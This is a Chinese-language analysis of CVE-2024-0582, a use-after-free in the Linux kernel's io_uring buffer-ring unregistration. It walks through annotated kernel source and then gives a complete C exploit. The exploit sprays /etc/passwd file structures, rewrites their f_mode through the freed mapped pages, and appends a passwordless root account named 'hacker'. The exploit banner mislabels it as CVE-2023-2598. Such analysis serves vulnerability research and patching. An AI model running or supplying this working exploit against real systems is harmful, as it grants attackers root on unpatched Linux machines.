CVE-2024-0582 内核提权详细分析

漏洞简介

漏洞编号: CVE-2024-0582

影响版本: v6.4 < Linux Kernel < v6.6.5

漏洞产品: linux kernel - io_uring & io_unregister_pbuf_ring & uaf

利用效果: 本地提权

环境搭建

复现环境:qemu + linux kernel v6.5.3

环境附件: mowenroot/Kernel

复现流程: 执行exp后,账号:hacker的root用户被添加。su hacker完成提权。

漏洞原理

漏洞本质是 uaf。从内核版本 5.7 开始,为了便于管理不同的缓冲区集,io_uring 允许应用程序注册由组 ID 标识的缓冲区池。通过 io_uring_register的 opcode->IORING_REGISTER_PBUF_RING调用 io_register_pbuf_ring() 来完成注册ID标识缓冲区。并从内核版本 6.4 开始,io_uring 还允许用户将提供的缓冲区环的分配委托给内核,由 IOU_PBUF_RING_MMAP标识符即可生成。调用 IOU_PBUF_RING_MMAP 由内核完成分配空间后,然后使用 mmap()标识符映射到用户的地址,但是这个操作不会修改页面结构(pgae)的引用计数,然后使用 io_unregister_pbuf_ring()释放申请的空间的时候会调用 put_page_testzero(page),对 page 引用-1并判断引用是否为 0,如果为 0 就会释放 page ,因为 mmap 映射的时候并不会页面结构(pgae)的引用计数,内核并不知道是否取消了内存的映射。所以就会出现映射未取消就释放 page 的情况,而导致用户虚拟地址对物理地址映射未取消的 UAF 。

漏洞分析

关于io_uring的一些基础知识之前的文章已经详细介绍过,如果师傅们感兴趣可以看看之前的文章。接下来只介绍漏洞相关的点。

NVD描述:A memory leak flaw was found in the Linux kernel’s io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.

io_uring_register 提供了接口 io_register_pbuf_ring 来完成注册 ID 标识缓冲区。旨在通过 ID 来对不同的缓冲区进行管理。下面分析的 kernel 源码版本为 v6.5.3。

io_register_pbuf_ring

「1」 首先把用户数据复制到内核的 reg。然后参数检查,判断 entries 是否为 2 次幂,并且限制 entries 最大不能超过 65536。需要注意一点:意味着条目最大为 32768。

「2」 如果 ctx->io_bl 为初始化时,会尝试初始化 ctx->io_bl,这里的 io_bl是一个 64 长度的数组。数组中存放 io_buffer_list。如果 id 大于等于 64 时就会通过 xarray 来管理。

「3」 调用 io_buffer_get_list() ,通过 id 获取对应 bl (buf list),如果 bl 为空时,则会申请结构体 io_buffer_list 空间,标志为 GFP_KERNEL。

「4」 当使用 IOU_PBUF_RING_MMAP 时,会调用 io_alloc_pbuf_ring(),来申请 buf_ring 空间,否则内存页,最后将 bl加入到ctx中。

使用 IOU_PBUF_RING_MMAP 就会完成对 buf_ring 的空间分配,全程都由内核来完成,不同于 io_sqe_buffers_register 需要用户传入注册的地址。用户只需要指定对应注册的 ID 即可。

int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
    struct io_uring_buf_reg reg;
    struct io_buffer_list *bl, *free_bl = NULL;
    int ret;

    if (copy_from_user(&reg, arg, sizeof(reg)))
        return -EFAULT;

    if (reg.resv[0] || reg.resv[1] || reg.resv[2])
        return -EINVAL;
    if (reg.flags & ~IOU_PBUF_RING_MMAP)
        return -EINVAL;
    // 非 MMAP的时候会检查 ring_addr
    if (!(reg.flags & IOU_PBUF_RING_MMAP)) {
        if (!reg.ring_addr)
            return -EFAULT;
        if (reg.ring_addr & ~PAGE_MASK)
            return -EINVAL;
    } else {
        if (reg.ring_addr)
            return -EINVAL;
    }
    // 判断是否为 2的幂
    if (!is_power_of_2(reg.ring_entries))
        return -EINVAL;

    /* cannot disambiguate full vs empty due to head/tail size */
    // MAX限制
    if (reg.ring_entries >= 65536)
        return -EINVAL;
    // 当 0 <= id < 64 时,并且 io_bl 未初始化 
    if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) {
        // 尝试初始化 io_bl (buf list)
        int ret = io_init_bl_list(ctx);
        if (ret)
            return ret;
    }
    // 通过 id 获取对应 bl (buf list)
    bl = io_buffer_get_list(ctx, reg.bgid);
    if (bl) {
        /* if mapped buffer ring OR classic exists, don't allow */
        if (bl->is_mapped || !list_empty(&bl->buf_list))
            return -EEXIST;
    } else {
        // 申请结构体 io_buffer_list 空间
        free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
        if (!bl)
            return -ENOMEM;
    }

    if (!(reg.flags & IOU_PBUF_RING_MMAP))
        // 非 IOU_PBUF_RING_MMAP 用来固定内存页
        ret = io_pin_pbuf_ring(&reg, bl);
    else
        // IOU_PBUF_RING_MMAP 会执行到这,申请 buf_ring 空间
        ret = io_alloc_pbuf_ring(&reg, bl);

    if (!ret) {
        // 正常执行
        bl->nr_entries = reg.ring_entries;
        bl->mask = reg.ring_entries - 1;
        // 将链表加入 ctx 
        io_buffer_add_list(ctx, bl, reg.bgid);
        return 0;
    }

    kfree(free_bl);
    return ret;
}

io_buffer_get_list

「1」 返回 ID 对应的 io_buffer_list(bl)。 当 ID 符合限制的时候,会使用数组来管理 io_buffer_list ,这个时候直接返回 ID对应的 bl 即可。如果超过限制,则使用xarray 来管理。

static inline struct io_buffer_list *io_buffer_get_list(struct io_ring_ctx *ctx,
                            unsigned int bgid)
{
    // 直接返回对应 io_buffer_list
    if (ctx->io_bl && bgid < BGID_ARRAY)
        return &ctx->io_bl[bgid];
    // 如果 id 超过限制,返回xarray中的空间
    return xa_load(&ctx->io_bl_xa, bgid);
}

io_alloc_pbuf_ring

「1」 为 io_uring_buf_ring 申请空间 。 buf_ring 环存放 ring_entries 个 io_uring_buf_ring,而 io_uring_buf_ring 中存放地址、长度等信息。值得注意的是:申请 pages 为复合页。

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
                  struct io_buffer_list *bl)
{
    // 复合页申请
    gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
    size_t ring_size;
    void *ptr;
    //  buf_ring 环存放  ring_entries 个 io_uring_buf_ring
    //  io_uring_buf_ring 指向地址等信息
    ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
    ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
    if (!ptr)
        return -ENOMEM;

    bl->buf_ring = ptr;
    bl->is_mapped = 1;
    bl->is_mmap = 1;
    return 0;
}

io_uring_buf、io_uring_buf_ring 结构体

struct io_uring_buf {
    __u64	addr;
    __u32	len;
    __u16	bid;
    __u16	resv;
};

struct io_uring_buf_ring {
    union {
        /*
         * To avoid spilling into more pages than we need to, the
         * ring tail is overlaid with the io_uring_buf->resv field.
         */
        struct {
            __u64	resv1;
            __u32	resv2;
            __u16	resv3;
            __u16	tail;
        };
        __DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs);
    };
};


io_unregister_pbuf_ring

「1」 先根据 id 获取 io_buffer_list,如果 id 符合标志则调用 __io_remove_buffers 仅仅释放 bl->buf_ring 。而不符合标准的使用 xarray 来管理,会直接释放整个 bl。

int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
    struct io_uring_buf_reg reg;
    struct io_buffer_list *bl;

    if (copy_from_user(&reg, arg, sizeof(reg)))
        return -EFAULT;
    if (reg.resv[0] || reg.resv[1] || reg.resv[2])
        return -EINVAL;
    if (reg.flags)
        return -EINVAL;
    // 根据 id 获取 io_buffer_list
    bl = io_buffer_get_list(ctx, reg.bgid);
    if (!bl)
        return -ENOENT;
    if (!bl->is_mapped)
        return -EINVAL;
    // 释放 bl
    __io_remove_buffers(ctx, bl, -1U);
    if (bl->bgid >= BGID_ARRAY) {
        xa_erase(&ctx->io_bl_xa, bl->bgid);
        kfree(bl);
    }
    return 0;
}

__io_remove_buffers

「1」 由 IORING_REGISTER_PBUF_RING 申请的空间,会先获取 bl->buf_ring 的虚拟地址,然后调用 put_page_testzero(),对 page 引用 -1,如果当前引用==0,则释放 page,但是使用 mmap 映射持有时,不会对 page 引用改变,内核无法知道此时映射是否取消。

static int __io_remove_buffers(struct io_ring_ctx *ctx,
                   struct io_buffer_list *bl, unsigned nbufs)
{
    unsigned i = 0;

    /* shouldn't happen */
    if (!nbufs)
        return 0;
    
    if (bl->is_mapped) {
        i = bl->buf_ring->tail - bl->head;
        // 由 IORING_REGISTER_PBUF_RING,申请的空间
        if (bl->is_mmap) {
            struct page *page;
            // 获取虚拟地址
            page = virt_to_head_page(bl->buf_ring);
            /**
             *  [!!]漏洞处
             *  对page引用 -1,如果当前引用==0,则释放page
             *  使用mmap映射持有时,不会对page引用改变
             *  内核无法知道此时映射是否取消
            */
            if (put_page_testzero(page))
                free_compound_page(page);
            bl->buf_ring = NULL;
            bl->is_mmap = 0;
        } 

//...
    return i;
}


漏洞复现

本质就是篡改filp->f_mode为可写,然后篡改/etc/passwd。

〔1〕 初始化:绑定CPU,注册io_uring,设置最大可打开文件数 (把rlim_cur设置为rlim_max),nr_files 最大打开 file 数量。

〔2〕 通过 IOU_PBUF_RING_MMAP 注册对应 ID 的 buf_ring区域。然后通过 mmap 映射到用户空间。

〔3〕 通过 io_uring_unregister_buf_ring 释放申请的所有 buf_ring。

〔4〕 喷射 nr_files 个 /etc/passwd,因为通过 O_RDONLY 标识符打开,f_mode 固定为 0x494a801d。

〔5〕 尝试使用 UAF,通过固定的 f_flags+f_mode == 0x484a801d00008000 定位到文件处,修改f_mode。

〔6〕因为无法知道文件描述符,所以暴力对所有/etc/passwd 进行写操作,通过返回值判断是否写入成功,非常稳定。

#define _GNU_SOURCE 
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>

#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include<sys/stat.h>
#include<sys/file.h>
#pragma pack(16)

#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_DEFAULT "\033[0m"
#define showAddr(var)  dprintf(2, COLOR_GREEN "[*] %s -> %p\n" COLOR_DEFAULT, #var, var); 
#define logu(fmt, ...) dprintf(2,  "[*]  " fmt "\n" , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE "[*] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        exit(1);                           \
    } while (0)
#define debug(fmt, ...)                      \
    do {                                     \
        loge(fmt, ##__VA_ARGS__);            \
        loge("debug at line %d", __LINE__);  \
        getchar();                           \
    } while (0)

#define check_ret(ret, buf) do { if((ret) < 0) { die(buf); } } while(0)
#define MAX_ring_entries 65536
#define PAGE_SZIE 0x1000
void bind_cpu(int core);
void binary_dump(char *desc, void *addr, int len);
struct __attribute__((aligned(0x100))) fake_filp{
    char pad[20];
    uint32_t f_mode;
    char padding[];
};

void prep_rlimit(int *nr_files){
    struct rlimit max_file;

    getrlimit(RLIMIT_NOFILE,&max_file);
    logu("rlim_cur -> %d rlim_max -> %d",max_file.rlim_cur,max_file.rlim_max);
    max_file.rlim_cur=max_file.rlim_max;
    setrlimit(RLIMIT_NOFILE,&max_file);

    int limit = max_file.rlim_max/4;
    *nr_files = limit/2;
    logu("nr_files -> %d",*nr_files);
}

int change_mode(void* addr,uint64_t size){
    int  ret = -1;
    uint64_t* tmp = (uint64_t* )addr;
    for (size_t i = 0; i < size/8; i++)
    {
        // if( tmp[i] != 0)
        //     logi(" addr: %p offset: 0x%llx -> %p",addr+i,i,tmp[i]);
        if(tmp[i]==0x494a801d00000000){
            // logw("successful!! addr: %p offset: 0x%llx -> %p",addr+i*8,i*8,tmp[i]);
            tmp[i] = 0x494f801f00000000;
            ret = 1;
            break;
        }     
    }
    return ret;  
}
int main(void){
    int nr_files,ret;
    struct io_uring ring;
    int nr_bufs = 1000;
    void** bufs;
    struct io_uring_buf_reg reg;
    int* fds;
    static struct stat status;
    int passwd_size,passwd_fd;
    char* hacker_buf;
    int hacker_len;
    uint64_t nr_pages,entries,mmap_size,mmap_off;
    RED;puts("[*] CVE-2023-2598 Exploit by mowen");CLOSE;

    stat("/etc/passwd",&status);
    passwd_size=status.st_size;
    logi("passwd_size -> %d",passwd_size);

    hacker_buf =(char*) malloc(passwd_size*2);
    passwd_fd = open("/etc/passwd",O_RDONLY);
    read(passwd_fd,hacker_buf,passwd_size);
    strcat(hacker_buf,"hacker::0:0:root:/root:/bin/sh\n");
    hacker_len =strlen(hacker_buf);

    bind_cpu(0);
// 1、解除当前进程限制
    prep_rlimit(&nr_files);
// 2、初始化 io_uring
    check_ret(io_uring_queue_init(32,&ring,0),"io_uring_queue_init fail");
    bufs = calloc(nr_bufs,sizeof(*bufs));
    fds = malloc(nr_files*(sizeof(int)));    
    /**
     * nr_pages: 有多少页,构造页数
     * entries = nr_pages*(PAGE_SIZE/sizeof(struct io_uring_buf))
     * mmap_size = entries*sizeof(struct io_uring_buf);
     */
    entries = MAX_ring_entries/2;
    if(entries>MAX_ring_entries){
        die("entries too large");
    }
    nr_pages = entries/256;
    logi("nr_pages -> %d entries -> %d",nr_pages,entries);
// 3、注册 IOU_PBUF_RING_MMAP  
    logu("register buf ring <- IOU_PBUF_RING_MMAP");

    for (size_t i = 0; i < nr_bufs; i++)
    {
        memset(&reg,0,sizeof(reg));
        reg.bgid=i;
        reg.flags=IOU_PBUF_RING_MMAP;
        reg.ring_entries=entries;
        ret=io_uring_register_buf_ring(&ring,&reg,0);
        if(ret < 0){
            die("io_uring_register_buf_ring fail [%d]",i);
        }
        mmap_size = reg.ring_entries*sizeof(struct io_uring_buf);
        mmap_off = IORING_OFF_PBUF_RING | (unsigned long long) i << IORING_OFF_PBUF_SHIFT;
        bufs[i] = mmap(
            NULL,
            mmap_size,
            PROT_READ|PROT_WRITE,
            MAP_SHARED,
            ring.ring_fd,
            mmap_off
        );
        if(bufs[i]==MAP_FAILED){
            die("mmap fail");
        }
        io_uring_buf_ring_init(bufs[i]);
        // logu("br[%d] -> %p",i,br[i]);
    }
    logu("unregister buf ring");
    for (size_t i = 0; i < nr_bufs; i++)
    {
        io_uring_unregister_buf_ring(&ring, i);
    }
    
    logi("sparying...");
    for (size_t i = 0; i < nr_files; i++)
    {
        fds[i] = open("/etc/passwd", O_RDONLY);
        check_ret(fds[i],"failed to open file");
    }
    logi("try to leak...");
    for (size_t i = 0; i < nr_bufs; i++)
    {
        ret = change_mode(bufs[i],PAGE_SZIE*nr_pages);
        if(ret<0)continue;
        logi("change_mode success!!!");

        for (size_t i = 0; i < nr_files; i++)
            {
                if(write(fds[i],hacker_buf,hacker_len)>0){
                    logw(" hacker /etc/passwd successful");
                    break;
                }                  
            }
        // debug("debug");
        stat("/etc/passwd",&status);
        logu("passwd_size -> %d",status.st_size);
        if(status.st_size==passwd_size)continue;
        logd("success!!! su hacker to get root");
        exit(0);
    }
            


    RED;puts("[*]failed");CLOSE;
    return 0;
}

void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}